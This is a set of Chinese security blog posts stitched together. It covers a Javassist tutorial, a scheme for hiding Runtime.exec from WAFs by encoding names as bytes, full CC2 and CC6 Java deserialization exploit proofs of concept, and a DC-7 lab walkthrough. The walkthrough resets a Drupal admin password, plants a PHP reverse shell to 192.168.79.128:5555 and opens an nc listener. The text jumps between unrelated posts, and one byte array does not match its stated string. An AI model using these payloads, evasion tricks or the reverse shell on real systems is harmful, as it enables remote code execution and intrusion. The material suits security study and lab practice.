0%

0x00 前言#

了解一下Javassist具体的作用。在CC2链会用到Javassist以及PriorityQueue来构造利用链

0x01 Javassist 介绍#

Java 字节码以二进制的形式存储在 class 文件中,每一个 class 文件包含一个 Java 类或接口。Javaassist 就是一个用来处理 Java 字节码的类库。

Javassist是一个开源的分析、编辑和创建Java字节码的类库。

0x02 Javassist 使用#

这里主要讲一下主要的几个类:

ClassPool#

ClassPool:一个基于哈希表(Hashtable)实现的CtClass对象容器,其中键名是类名称,值是表示该类的CtClass对象(HashtableHashmap类似都是实现map接口,hashmap可以接收null的值,但是Hashtable不行)。

常用方法:#

1
2
3
4
5
6
7
8
9
10
11
12
13
14
static ClassPool	getDefault()
返回默认的类池。
ClassPath insertClassPath(java.lang.String pathname)
在搜索路径的开头插入目录或jar(或zip)文件。
ClassPath insertClassPath(ClassPath cp)
ClassPath在搜索路径的开头插入一个对象。
java.lang.ClassLoader getClassLoader()
获取类加载器toClass(),getAnnotations()在 CtClass等
CtClass get(java.lang.String classname)
从源中读取类文件,并返回对CtClass 表示该类文件的对象的引用。
ClassPath appendClassPath(ClassPath cp)
将ClassPath对象附加到搜索路径的末尾。
CtClass makeClass(java.lang.String classname)
创建一个新的public类

CtClass#

CtClass表示类,一个CtClass(编译时类)对象可以处理一个class文件,这些CtClass对象可以从ClassPoold的一些方法获得。

常用方法:#

1
2
3
4
5
6
7
8
9
10
11
12
void	setSuperclass(CtClass clazz)
更改超类,除非此对象表示接口。
java.lang.Class<?> toClass(java.lang.invoke.MethodHandles.Lookup lookup)
将此类转换为java.lang.Class对象。
byte[] toBytecode()
将该类转换为类文件。
void writeFile()
将由此CtClass 对象表示的类文件写入当前目录。
void writeFile(java.lang.String directoryName)
将由此CtClass 对象表示的类文件写入本地磁盘。
CtConstructor makeClassInitializer()
制作一个空的类初始化程序(静态构造函数)。

CtMethod#

CtMethod:表示类中的方法。

CtConstructor#

CtConstructor的实例表示一个构造函数。它可能代表一个静态构造函数(类初始化器)。

常用方法#

1
2
3
4
5
6
void	setBody(java.lang.String src)	
设置构造函数主体。
void setBody(CtConstructor src, ClassMap map)
从另一个构造函数复制一个构造函数主体。
CtMethod toMethod(java.lang.String name, CtClass declaring)
复制此构造函数并将其转换为方法。

ClassClassPath#

该类作用是用于通过 getResourceAsStream() 在 java.lang.Class 中获取类文件的搜索路径。

构造方法:

1
2
ClassClassPath(java.lang.Class<?> c)	
创建一个搜索路径。

常见方法:#

1
2
3
4
java.net.URL	find (java.lang.String classname)	
获取指定类文件的URL。
java.io.InputStream openClassfile(java.lang.String classname)
通过获取类文getResourceAsStream()。

代码实例:#

1
ClassPool pool = ClassPool.getDefault();

在默认系统搜索路径获取ClassPool对象。
如果需要修改类搜索的路径需要使用insertClassPath方法进行修改。

1
pool.insertClassPath(new ClassClassPath(this.getClass()));

将本类所在的路径插入到搜索路径中

toBytecode#

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
package com.demo;

import javassist.*;



import java.io.IOException;
import java.util.Arrays;

public class testssit {
public static void main(String[] args) throws NotFoundException, CannotCompileException, IOException {
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(demo.class.getClass()));
CtClass ctClass = pool.get("com.demo.test");
ctClass.setSuperclass(pool.get("com.demo.test"));
// System.out.println(ctClass);
byte[] bytes = ctClass.toBytecode();
String s = Arrays.toString(bytes);
System.out.println(s);
}

}

toClass#

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
Hello类:
public class Hello {
public void say() {
System.out.println("Hello");
}
}
Test 类
public class Test {
public static void main(String[] args) throws Exception {
ClassPool cp = ClassPool.getDefault();//在默认系统搜索路径获取ClassPool对象。
CtClass cc = cp.get("com.demo.Hello"); //获取hello类的
CtMethod m = cc.getDeclaredMethod("say"); //获取hello类的say方法
m.insertBefore("{ System.out.println(\"Hello.say():\"); }");//在正文的开头插入字节码
Class c = cc.toClass();//将此类转换为java.lang.Class对象
Hello h = (Hello)c.newInstance(); //反射创建对象并进行强转
h.say();调用方法say
}
}

0x03 一些小想法#

按照以上的操作理解就是去将类和字节码进行互相转换,对应这个操作我首先想到的可能就是webshell的一些免杀,例如说Jsp的最常见的一些webshell,都是采用RuntimeProcessBuilder这两个类去进行构造,执行命令。按照WAF的惯性这些设备肯定是把这些常见的执行命令函数给拉入黑名单里面去。那么如果说可以转换成字节码的话呢?字节码肯定是不会被杀的。如果说这时候将Runtime这个类转换成字节码,内嵌在Jsp中,后面再使用Javassist来将字节码还原成类的话,如果转换的几个方法没被杀的话,是可以实现过WAF的。当然这些也只是我的一些臆想,因为Javassist并不是JDK中自带的,实现的话后面可以再研究一下。但是类加载器肯定是可以去加载字节码,然后实现执行命令的。这里只是抛砖引玉,更多的就不细说了。

0x04 想法实现#

动态传入参数那能想到的肯定是反射。如果我们用上面的思路,把全部代码都转换成字节码的话,其实就没有多大意义了。因为全是固定死的东西,他也只会执行并且得到同一个执行结果。

这里能想到的就是将部分在代码里面固定死的代码给转换成字节码,然后再使用反射的方式去调用。

1
2
3
4
5
6
7
8
9
10
11
public class test {
public static void main(String[] args) {
String string ="java.lang.Runtime";
byte[] bytes1 = string.getBytes();
System.out.println(Arrays.toString(bytes1));




}
}

获取结果:

1
[106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 80, 114, 111, 99, 101, 115, 115, 73, 109, 112, 108]

接着将字节码还原成string
使用bytes去构造一个新的String

代码:

1
2
3
4
5
6
7
public class test {
public static void main(String[] args) {
byte[] bytes = new byte[]{106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101};
String s = new String(bytes);
System.out.println(s);
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
public class test {
    public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, IOException {
        byte[] b1 = new byte[]{106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101};
        String run = new String(b1);
        String command = "ipconfig";



        Class aClass = Class.forName(run);
        Constructor declaredConstructor = aClass.getDeclaredConstructor();
        declaredConstructor.setAccessible(true);
        Object o = declaredConstructor.newInstance();
        Method exec = aClass.getMethod("exec", String.class);
        Process process = (Process) exec.invoke(o,command);
        InputStream inputStream = process.getInputStream();    //获取输出的数据
        String ipconfig = IOUtils.toString(inputStream,"gbk"); //字节输出流转换为字符
        System.out.println(ipconfig);
    }
}

命令执行成功。
那么这就是一段完整的代码,但是还有些地方处理得不是很好,比如:

1
Method exec = aClass.getMethod("exec", String.class);

这里是反射获取exec方法,这里的exec是固定的。exec这个对于一些设备来说也是严杀的。
那么在这里就可以来处理一下,也转换成字节码。

转换后的字节码:

1
[101, 120, 101, 99]

改进一下代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public class test {
public static void main(String[] args) throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, InstantiationException, IOException {
String command = "ipconfig";
byte[] b1 = new byte[]{106, 97, 118, 97, 46, 108, 97, 110, 103, 46, 82, 117, 110, 116, 105, 109, 101};
String run = new String(b1);
byte[] b2 = new byte[]{101, 120, 101, 99};
String cm = new String(b2);




Class aClass = Class.forName(run);
Constructor declaredConstructor = aClass.getDeclaredConstructor();
declaredConstructor.setAccessible(true);
Object o = declaredConstructor.newInstance();
Method exec = aClass.getMethod(cm, String.class);
Process process = (Process) exec.invoke(o,command);
InputStream inputStream = process.getInputStream(); //获取输出的数据
String ipconfig = IOUtils.toString(inputStream,"gbk"); //字节输出流转换为字符
System.out.println(ipconfig);

}
}

前言

CC2这条链在后面几条链中还会用到,详细的写一下

利用链

1
2
3
4
5
6
7
ObjectInputStream.readObject()
PriorityQueue.readObject()
...
TransformingComparator.compare()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()

利用链1分析

跟着利用链,首先看看PriorityQueue.readObject()

图片

这里的queue[i]是从readObject得到的,再看看writeObject

图片

writeObject中依次将queue[i]进行序列化,那么我们通过反射实例化PriorityQueue类的对象,给queue[i]赋值,就实现了对queue[i]的控制。

最后调用了heapify方法,跟进:

图片

i>=0时进入for循环,而i=(size >>> 1) -1将size进行了右移操作,所以size>1才能进入循环。

再跟进siftDown方法

图片

x就是queue[i],跟进siftDownUsingComparator方法:

图片

重点在comparator.compare(x, (E) c)

跟进可以看到Comparator是一个接口,compare是它的抽象方法;

图片

CC2利用链中TransformingComparator类实现了compare方法

图片

该方法中调用了this.transformer.transform()方法,看到这里,就有点熟悉了,this.transformer又是我们可控的,后面的理解和CC1差不多了

POC1分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class Test1 {
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class}, new String[] {"calc.exe"}),
};

Transformer transformerChain = new ChainedTransformer(transformers);
TransformingComparator Tcomparator = new TransformingComparator(transformerChain);
PriorityQueue queue = new PriorityQueue(1, Tcomparator);

queue.add(1);
queue.add(2);

try{
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("cc2.txt"));
outputStream.writeObject(queue);
outputStream.close();
System.out.println(barr.toString());

ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("cc2.txt"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}
}
}

代码1

通过反射获取Runtime对象;

1
2
3
4
5
6
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class}, new String[] {"calc.exe"}),
};

代码2
当调用ChainedTransformer的transformer方法时,对transformers数组进行回调,从而执行命令;

将transformerChain传入TransformingComparator,从而调用transformer方法;

new一个PriorityQueue对象,传入一个整数参数,且传入的数值不能小于1,再将Tcomparator传入。

1
2
3
Transformer transformerChain = new ChainedTransformer(transformers);
TransformingComparator Tcomparator = new TransformingComparator(transformerChain);
PriorityQueue queue = new PriorityQueue(1, Tcomparator);

代码3
前面说到,size的值要大于1,所以向queue中添加两个元素。

1
2
queue.add(1);
queue.add(2);

添加上序列化和反序列化代码后,能成功执行命令,但是没有生成序列化文件,也就是没有cc2.txt
调试代码看一看,跟进PriorityQueue类,这里comparator参数是我们传入的Tcomparator

图片

继续跟,跟进queue.add(2),调用了offer方法;

图片

跟进offer方法,进入else分支,调用了siftUp方法;

图片

跟进siftUp方法,comparator参数不为null,进入if分支,调用siftUpUsingComparator方法

图片

继续跟,来到重点代码

图片

跟进,这里会执行两次命令

图片

但是return的值为0,程序就结束了,并没有执行POC后面序列化和反序列化的代码。

那么如何让return不为0呢。

既然调用siftUpUsingComparator方法会出错,那试试调用siftUpComparable方法,即comparator参数为null,修改代码,不传入comparator参数

1
PriorityQueue queue = new PriorityQueue(1);

再调试看看;
这下comparator参数就为null;

图片

照样进入queue.add(2),到siftUp方法,就进入else分支,调用siftUpComparable方法

图片

这样就只是单纯给queue[1]赋值,并不会调用compare方法

图片

返回后就执行序列化代码,但是并没有执行命令,还要改进;

代码4

上面修改后的代码没有调用到compare方法,我们可以在向queue中添加元素后,通过反射将Tcomparator传入到queue的comparator参数;

1
2
3
Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
field.setAccessible(true);
field.set(queue,Tcomparator);

这样comparator参数就不为null,当反序列化时调用readObject方法时就会进入siftDownUsingComparator方法,调用compare方法,从而执行命令。
图片

完整POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class Test1 {
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class}, new String[] {"calc.exe"}),
};

Transformer transformerChain = new ChainedTransformer(transformers);
TransformingComparator Tcomparator = new TransformingComparator(transformerChain);
PriorityQueue queue = new PriorityQueue(1);

queue.add(1);
queue.add(2);

Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
field.setAccessible(true);
field.set(queue,Tcomparator);

try{
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("cc2.txt"));
outputStream.writeObject(queue);
outputStream.close();
System.out.println(barr.toString());

ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("cc2.txt"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}
}
}

Javassit补充

简述:

Javassist是一个开源的分析、编辑和创建Java字节码的类库,可以直接编辑和生成Java生成的字节码。

能够在运行时定义新的Java类,在JVM加载类文件时修改类的定义。

Javassist类库提供了两个层次的API,源代码层次和字节码层次。源代码层次的API能够以Java源代码的形式修改Java字节码。字节码层次的API能够直接编辑Java类文件。

下面大概讲一下POC中会用到的类和方法:

ClassPool

ClassPool是CtClass对象的容器,它按需读取类文件来构造CtClass对象,并且保存CtClass对象以便以后使用,其中键名是类名称,值是表示该类的CtClass对象。

常用方法:

  • static ClassPool getDefault():返回默认的ClassPool,一般通过该方法创建我们的ClassPool;
  • ClassPath insertClassPath(ClassPath cp):将一个ClassPath对象插入到类搜索路径的起始位置;
  • ClassPath appendClassPath:将一个ClassPath对象加到类搜索路径的末尾位置;
  • CtClass makeClass:根据类名创建新的CtClass对象;
  • CtClass get(java.lang.String classname):从源中读取类文件,并返回对CtClass 表示该类文件的对象的引用;
  • CtClass*

CtClass类表示一个class文件,每个CtClass对象都必须从ClassPool中获取。

常用方法:

  • void setSuperclass(CtClass clazz):更改超类,除非此对象表示接口;
  • byte[] toBytecode():将该类转换为类文件;
  • CtConstructor makeClassInitializer():制作一个空的类初始化程序(静态构造函数);
  • 示例代码*
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import javassist.*;

public class javassit_test {

public static void createPerson() throws Exception{
//实例化一个ClassPool容器
ClassPool pool = ClassPool.getDefault();
//新建一个CtClass,类名为Cat
CtClass cc = pool.makeClass("Cat");
//设置一个要执行的命令
String cmd = "System.out.println(\"javassit_test succes!\");";
//制作一个空的类初始化,并在前面插入要执行的命令语句
cc.makeClassInitializer().insertBefore(cmd);
//重新设置一下类名
String randomClassName = "EvilCat" + System.nanoTime();
cc.setName(randomClassName);
//将生成的类文件保存下来
cc.writeFile();
//加载该类
Class c = cc.toClass();
//创建对象
c.newInstance();
}

public static void main(String[] args) {
try {
createPerson();
} catch (Exception e){
e.printStackTrace();
}
}
}

新生成的类是这样子的,其中有一块static代码;
图片

当该类被实例化的时候,就会执行static里面的语句;

利用链2分析

在ysoserial的cc2中引入了 TemplatesImpl 类来进行承载攻击payload,需要用到javassit;

先给出POC:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class Test2 {

public static void main(String[] args) throws Exception{

Constructor constructor = Class.forName("org.apache.commons.collections4.functors.InvokerTransformer").getDeclaredConstructor(String.class);
constructor.setAccessible(true);
InvokerTransformer transformer = (InvokerTransformer) constructor.newInstance("newTransformer");

TransformingComparator Tcomparator = new TransformingComparator(transformer);
PriorityQueue queue = new PriorityQueue(1);

ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = pool.makeClass("Cat");
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";
cc.makeClassInitializer().insertBefore(cmd);
String randomClassName = "EvilCat" + System.nanoTime();
cc.setName(randomClassName);
//cc.writeFile();
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
byte[] classBytes = cc.toBytecode();
byte[][] targetByteCodes = new byte[][]{classBytes};

TemplatesImpl templates = TemplatesImpl.class.newInstance();
setFieldValue(templates, "_bytecodes", targetByteCodes);
setFieldValue(templates, "_name", "blckder02");
setFieldValue(templates, "_class", null);

Object[] queue_array = new Object[]{templates,1};
Field queue_field = Class.forName("java.util.PriorityQueue").getDeclaredField("queue");
queue_field.setAccessible(true);
queue_field.set(queue,queue_array);

Field size = Class.forName("java.util.PriorityQueue").getDeclaredField("size");
size.setAccessible(true);
size.set(queue,2);



Field comparator_field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
comparator_field.setAccessible(true);
comparator_field.set(queue,Tcomparator);

try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc2.bin"));
outputStream.writeObject(queue);
outputStream.close();

ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc2.bin"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}
}

public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}

public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
}
catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}
}

代码1
通过反射实例化InvokerTransformer对象,设置InvokerTransformer的methodName为newTransformer

1
2
3
Constructor constructor = Class.forName("org.apache.commons.collections4.functors.InvokerTransformer").getDeclaredConstructor(String.class);
constructor.setAccessible(true);
InvokerTransformer transformer = (InvokerTransformer) onstructor.newInstance("newTransformer");

代码2
实例化一个TransformingComparator对象,将transformer传进去;

实例化一个PriorityQueue对象,传入不小于1的整数,comparator参数就为null;

1
2
TransformingComparator Tcomparator = new TransformingComparator(transformer);
PriorityQueue queue = new PriorityQueue(1);

代码3
这里就要用到javassit的知识;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
//实例化一个ClassPool容器
ClassPool pool = ClassPool.getDefault();
//向pool容器类搜索路径的起始位置插入AbstractTranslet.class
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
//新建一个CtClass,类名为Cat
CtClass cc = pool.makeClass("Cat");
//设置一个要执行的命令
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";
//制作一个空的类初始化,并在前面插入要执行的命令语句
cc.makeClassInitializer().insertBefore(cmd);
//重新设置一下类名,生成的类的名称就不再是Cat
String randomClassName = "EvilCat" + System.nanoTime();
cc.setName(randomClassName);
//将生成的类文件保存下来
cc.writeFile();
//设置AbstractTranslet类为该类的父类
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
//将该类转换为字节数组
byte[] classBytes = cc.toBytecode();
//将一维数组classBytes放到二维数组targetByteCodes的第一个元素
byte[][] targetByteCodes = new byte[][]{classBytes};

这段代码会新建一个类,并添加了一个static代码块
代码4

使用TemplatesImpl的空参构造方法实例化一个对象;

再通过反射对个字段进行赋值,为什么要这样赋值下面再说;

1
2
3
4
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setFieldValue(templates, "_bytecodes", targetByteCodes);
setFieldValue(templates, "_name", "blckder02");
setFieldValue(templates, "_class", null);

代码5
新建一个对象数组,第一个元素为templates,第二个元素为1;

然后通过反射将该数组传到queue中;

1
2
3
4
Object[] queue_array = new Object[]{templates,1};
Field queue_field = Class.forName("java.util.PriorityQueue").getDeclaredField("queue");
queue_field.setAccessible(true);
queue_field.set(queue,queue_array);

代码6
通过反射将queue的size设为2,与POC1中使用两个add的意思一样;

1
2
3
Field size = Class.forName("java.util.PriorityQueue").getDeclaredField("size");
size.setAccessible(true);
size.set(queue,2);

代码6
通过反射给queue的comparator参数赋值;

1
2
3
Field comparator_field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
comparator_field.setAccessible(true);
comparator_field.set(queue,Tcomparator);

PriorityQueue.readObject()方法看起,queue变量就是我们传入的templates和1,size也是我们传入的2;
图片

跟进siftDown方法,comparator参数就是我们传入的TransformingComparator实例化的对象

图片

到TransformingComparator的compare方法,obj1就是我们传入的templates, 这里的this.transformer就是我们传入的transformer

图片

跟到InvokerTransformer.transform(),input就是前面的obj1,this.iMethodName的值为传入的newTransformer,因为newTransformer方法中调用到了getTransletInstance方法

图片

接着调用templates的newTransformer方法,而templates是TemplatesImpl类的实例化对象,也就是调用了TemplatesImpl.newTransformer()

跟踪该方法;

图片

继续跟踪getTransletInstance方法;

进行if判断,_name不为空,_class为空,才能进入defineTransletClasses方法;

这就是代码4中赋值的原因;

图片

跟进defineTransletClasses方法;

图片

_bytecodes也不能为null,是我们传入的targetByteCodes,也就是代码3的内容

继续往下

通过loader.defineClass将字节数组还原为Class对象,_class[0]就是javassit新建的类

图片

再获取它的父类,检测父类是否为ABSTRACT_TRANSLET,所以代码3中要设置AbstractTranslet类为新建类的父类;

_transletIndex赋值为0后,返回到getTransletInstance方法,创建_class[_transletIndex]的对象

在后续Java官方的更新中sun.reflect.annotation.AnnotationInvocationHandler#readObject其中不再使用Lazymap,导致cc1的链子在8u71版本后无法使用。所以要找一条能在Java更高版本使用的链子。

P神版cc6利用链

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
 Gadget chain:
 java.io.ObjectInputStream.readObject()
 java.util.HashMap.readObject()
 java.util.HashMap.hash()

org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()

org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
 org.apache.commons.collections.map.LazyMap.get()

org.apache.commons.collections.functors.ChainedTransformer.transform()

org.apache.commons.collections.functors.InvokerTransformer.transform()
 java.lang.reflect.Method.invoke()
 java.lang.Runtime.exec()

p神的poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class CommonCollections6 {
    public static void main(String[] args) throws Exception {
        Transformer[] fakeTransformers = new Transformer[] {new
                ConstantTransformer(1)};
        Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[] {
                        String.class,
                        Class[].class }, new Object[] { "getRuntime",
                        new Class[0] }),
                new InvokerTransformer("invoke", new Class[] {
                        Object.class,
                        Object[].class }, new Object[] { null, new
                        Object[0] }),
                new InvokerTransformer("exec", new Class[] { String.class
                },
                        new String[] { "/System/Applications/Calculator.app/Contents/MacOS/Calculator"}),
                new ConstantTransformer(1),
        };
        Transformer transformerChain = new
                ChainedTransformer(fakeTransformers);
        // 不再使⽤原CommonsCollections6中的HashSet,直接使⽤HashMap
        Map innerMap = new HashMap();
        Map outerMap = LazyMap.decorate(innerMap, transformerChain);
        TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");
        Map expMap = new HashMap();
        expMap.put(tme, "valuevalue");
        outerMap.remove("keykey");
        Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
        f.setAccessible(true);
        f.set(transformerChain, transformers);
        // ==================
        // ⽣成序列化字符串
        ByteArrayOutputStream barr = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(barr);
        oos.writeObject(expMap);
        oos.close();
        // 本地测试触发
        System.out.println(barr);
        ObjectInputStream ois = new ObjectInputStream(new
                ByteArrayInputStream(barr.toByteArray()));
        Object o = (Object)ois.readObject();
    }

}

在cc1是触发LazyMap.get()方法进行命令执行,cc6是找到其他调用这个方法的地方。

这个类是 org.apache.commons.collections.keyvalue.TiedMapEntry ,在其getValue⽅法

中调⽤了 this.map.get ,⽽其hashCode⽅法调⽤了getValue⽅法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import org.apache.commons.collections.KeyValue;
public class TiedMapEntry implements Entry, KeyValue, Serializable {
 private static final long serialVersionUID = -8453869361373831205L;
 private final Map map;
 private final Object key;
 public TiedMapEntry(Map map, Object key) {
 this.map = map;
 this.key = key;
 }
 public Object getKey() {
 return this.key;
 }
 public Object getValue() {
 return this.map.get(this.key);
 }

 public int hashCode() {
 Object value = this.getValue();
 return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^
(value == null ? 0 : value.hashCode());
 }
}

所以这里要去寻找在哪调用了hashCode(),在java.util.HashMap#readObject调用了hashCode
熟悉的地方,跟urldns链的一个样

图片

调用了hash,跟进hash方法

图片

这里hash方法调用了hashCode

这里代码出现了一个fakeTransformers,主要是避免在本地调试时发生了命令执行,调试结束就可以换成我们构造的transformers

这里也会有个问题,运行我们的程序并不会进行命令执行,进行调试发现poc问题出在outerMap.remove(“keykey”);

如果不去掉outerMap.remove(“keykey”)则无法命令执行,主要原因在expMap.put(tme, “valuevalue”);中

expMap是HashMap的实例

图片

HashMap.put中也调用了hash,但我们传入的是fakeTransformers,所以对poc产生了一定的影响。

图片

在反序列化的过程中,触发反序列化最重要的LazyMap.get方法中并没有进入if分支里面,所以没有触发transfrom。所以为了让containsKey(key)判断为flase,用outerMap.remove(“keykey”);移除即可。

触发transfrom之后的过程就跟cc1时一样的

kali 和 DC-7 都为NAT模式 保证在同一个网段下 可以相互连通。记得设置获取MAC地址

信息收集

1
arp-scan -l     #扫描指定网卡下面的全部IP。

图片

通过扫描可以判断DC-7的IP为 192.168.79.132。

1
nmap -p 1-65535 192.168.79.132  #扫描全部端口探测开启的服务。

图片

可以清楚的看到,DC-7开启了 22 和 80端口。
浏览器访问80端口的http服务 http://192.168.79.132
图片

很明显是Drupal的cms框架,搜了下漏洞也不是突破口

图片
后来在这里发现

这个靶场属于git源码泄露。

直接google 搜索 @DC7USER。

图片

图片

里面记录了数据库账号密码 尝试后台登录发现不行。

但是可以登录ssh 有点邪门。

获取后台账号密码

1
2
ls          #发现一个mbox文件 进去看看。
cat mbox

图片

发现里面有一个定时任务 用root 运行/opt/scripts/backups.sh。

图片

查看下权限什么的,发现www-data拥有执行和写的权限,我们当前权限没有写权限,看来没办法动手脚了。

但是如果我们获得了www-data的shell 那就可以写点东西进去,然后依靠计划任务,用root去运行,那么我们可以获得了root权限的shell了。

查看下 /opt/scripts/backups.sh 内容。

图片

可以看到命令是进入 cd /var/www/html/ 后执行drush。

然后去百度看看 drush是干什么呢?

Drush(Drush = Drupal + Shell)就是使用命令行命令来操作Drupal站点,它的命令格式与git类似,都是双字命令(drush + 实际的命令)。

1
2
3
4
5
6
drush user-password admin --password="new_pass" 
#想要更改您的密码?就这么简单。
#记得执行命令前先切换到Drupal的目录下面。
cd /var/www/html/
#Drupal默认账户是admin 123456为我修改的密码。
drush user-password admin --password="123456"

图片

这样子就修改成功了。

去后台登录下。

获得www-data的shell

登录后台。

进入到后台管理页面 然后就找写webshell的地方了。

图片

发现Content里面可以编辑文章。

发现Extend里面可以安装新模块 试试可不可以安装php。

1
2
php 插件下载地址
https://ftp.drupal.org/files/projects/php-8.x-1.x-dev.tar.gz

直接安装投入使用即可。

可以看到多了一个PHP解释器。
写入一个php 反弹shell的脚步。

1
2
3
4
5
6
7
8
9
<?php
$sock = fsockopen("192.168.79.128", "5555");
$descriptorspec = array(
0 => $sock,
1 => $sock,
2 => $sock
);
$process = proc_open('/bin/sh', $descriptorspec, $pipes);
proc_close($process);?>

成功反弹shell。

1
2
3
4
#记得开启nc侦听。
nc -lvvp 5555
